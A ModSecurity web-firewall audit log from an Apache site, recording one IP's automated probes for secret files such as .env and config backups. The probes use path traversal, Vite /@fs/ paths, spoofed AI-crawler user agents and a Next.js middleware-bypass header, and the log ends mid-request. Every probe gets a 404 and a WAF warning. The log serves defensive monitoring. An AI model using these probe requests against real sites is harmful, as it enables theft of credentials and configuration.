Stopwatch: 1789305978938096 91476 (- - -)
Stopwatch2: 1789305978938096 91476; combined=4373, p1=213, p2=4104, p3=0, p4=0, p5=56, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cec6073d-Z--

--815b9b61-A--
[13/Sep/2026:16:26:19.073513 +0300] aqakemM7dE9KgIIOpQiAxgAAAMo 34.73.17.152 40596 127.0.0.1 7081
--815b9b61-B--
GET /core/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--815b9b61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--815b9b61-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/core/.env"] [unique_id "aqakemM7dE9KgIIOpQiAxgAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978986190 87394 (- - -)
Stopwatch2: 1789305978986190 87394; combined=4281, p1=218, p2=4000, p3=0, p4=0, p5=63, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--815b9b61-Z--

--8976305c-A--
[13/Sep/2026:16:26:19.217983 +0300] aqake0wu1RSkptiiNIX@UQAAAIg 34.73.17.152 40618 127.0.0.1 7081
--8976305c-B--
GET /img../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8976305c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8976305c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/img../.env"] [unique_id "aqake0wu1RSkptiiNIX@UQAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979151515 66535 (- - -)
Stopwatch2: 1789305979151515 66535; combined=5573, p1=281, p2=5233, p3=0, p4=0, p5=59, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8976305c-Z--

--353bfa0e-A--
[13/Sep/2026:16:26:19.423871 +0300] aqake2M7dE9KgIIOpQiAywAAANY 34.73.17.152 40646 127.0.0.1 7081
--353bfa0e-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--353bfa0e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--353bfa0e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqake2M7dE9KgIIOpQiAywAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979301074 122853 (- - -)
Stopwatch2: 1789305979301074 122853; combined=3828, p1=251, p2=3518, p3=0, p4=0, p5=59, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--353bfa0e-Z--

--85f28c11-A--
[13/Sep/2026:16:26:19.444179 +0300] aqakezTJ6xTvcJoem7f99wAAAE0 34.73.17.152 40652 127.0.0.1 7081
--85f28c11-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--85f28c11-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--85f28c11-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakezTJ6xTvcJoem7f99wAAAE0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979342073 102183 (- - -)
Stopwatch2: 1789305979342073 102183; combined=3785, p1=220, p2=3502, p3=0, p4=0, p5=63, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--85f28c11-Z--

--86595d4f-A--
[13/Sep/2026:16:26:19.555354 +0300] aqakeysVWymXUono-eRXZgAAAAo 34.73.17.152 40682 127.0.0.1 7081
--86595d4f-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--86595d4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--86595d4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeysVWymXUono-eRXZgAAAAo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979488497 66935 (- - -)
Stopwatch2: 1789305979488497 66935; combined=3597, p1=273, p2=3248, p3=0, p4=0, p5=76, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--86595d4f-Z--

--89505539-A--
[13/Sep/2026:16:26:19.763494 +0300] aqake2M7dE9KgIIOpQiAzwAAAM0 34.73.17.152 40726 127.0.0.1 7081
--89505539-B--
GET /config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--89505539-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--89505539-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config.php.bak"] [unique_id "aqake2M7dE9KgIIOpQiAzwAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979684893 78671 (- - -)
Stopwatch2: 1789305979684893 78671; combined=4811, p1=294, p2=4460, p3=0, p4=0, p5=57, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--89505539-Z--

--2bb9622f-A--
[13/Sep/2026:16:26:19.785019 +0300] aqakeysVWymXUono-eRXZwAAAAk 34.73.17.152 40706 127.0.0.1 7081
--2bb9622f-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2bb9622f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2bb9622f-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeysVWymXUono-eRXZwAAAAk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeysVWymXUono-eRXZwAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979584890 200186 (- - -)
Stopwatch2: 1789305979584890 200186; combined=37291, p1=228, p2=37000, p3=0, p4=0, p5=62, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2bb9622f-Z--

--ff551b23-A--
[13/Sep/2026:16:26:19.817950 +0300] aqake2M7dE9KgIIOpQiA0AAAAMg 34.73.17.152 40738 127.0.0.1 7081
--ff551b23-B--
GET /public../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ff551b23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ff551b23-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public../.env"] [unique_id "aqake2M7dE9KgIIOpQiA0AAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979716311 101695 (- - -)
Stopwatch2: 1789305979716311 101695; combined=4638, p1=278, p2=4302, p3=0, p4=0, p5=57, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ff551b23-Z--

--afe42062-A--
[13/Sep/2026:16:26:19.960192 +0300] aqake0wu1RSkptiiNIX@VAAAAIQ 34.73.17.152 40750 127.0.0.1 7081
--afe42062-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--afe42062-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--afe42062-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqake0wu1RSkptiiNIX@VAAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979838910 121349 (- - -)
Stopwatch2: 1789305979838910 121349; combined=6204, p1=221, p2=5870, p3=0, p4=0, p5=113, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--afe42062-Z--

--3d0ae932-A--
[13/Sep/2026:16:26:20.085557 +0300] aqake2M7dE9KgIIOpQiA0QAAAM8 34.73.17.152 40796 127.0.0.1 7081
--3d0ae932-B--
GET /@fs/var/task/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--3d0ae932-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3d0ae932-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/var/task/.env"] [unique_id "aqake2M7dE9KgIIOpQiA0QAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979977907 107769 (- - -)
Stopwatch2: 1789305979977907 107769; combined=3681, p1=211, p2=3343, p3=0, p4=0, p5=126, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3d0ae932-Z--

--120cb473-A--
[13/Sep/2026:16:26:20.193827 +0300] aqakezTJ6xTvcJoem7f9@gAAAE8 34.73.17.152 40780 127.0.0.1 7081
--120cb473-B--
GET /configuration.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--120cb473-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--120cb473-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/configuration.php.bak"] [unique_id "aqakezTJ6xTvcJoem7f9@gAAAE8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979942882 251020 (- - -)
Stopwatch2: 1789305979942882 251020; combined=4643, p1=239, p2=4346, p3=0, p4=0, p5=58, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--120cb473-Z--

--d8eb9674-A--
[13/Sep/2026:16:26:20.197363 +0300] aqakeysVWymXUono-eRXaAAAABA 34.73.17.152 40770 127.0.0.1 7081
--d8eb9674-B--
GET /dist../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d8eb9674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d8eb9674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/dist../.env"] [unique_id "aqakeysVWymXUono-eRXaAAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979919676 277754 (- - -)
Stopwatch2: 1789305979919676 277754; combined=53400, p1=245, p2=53103, p3=0, p4=0, p5=51, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8eb9674-Z--

--8ea3a81a-A--
[13/Sep/2026:16:26:20.212095 +0300] aqakfGM7dE9KgIIOpQiA0gAAAMk 34.73.17.152 40818 127.0.0.1 7081
--8ea3a81a-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
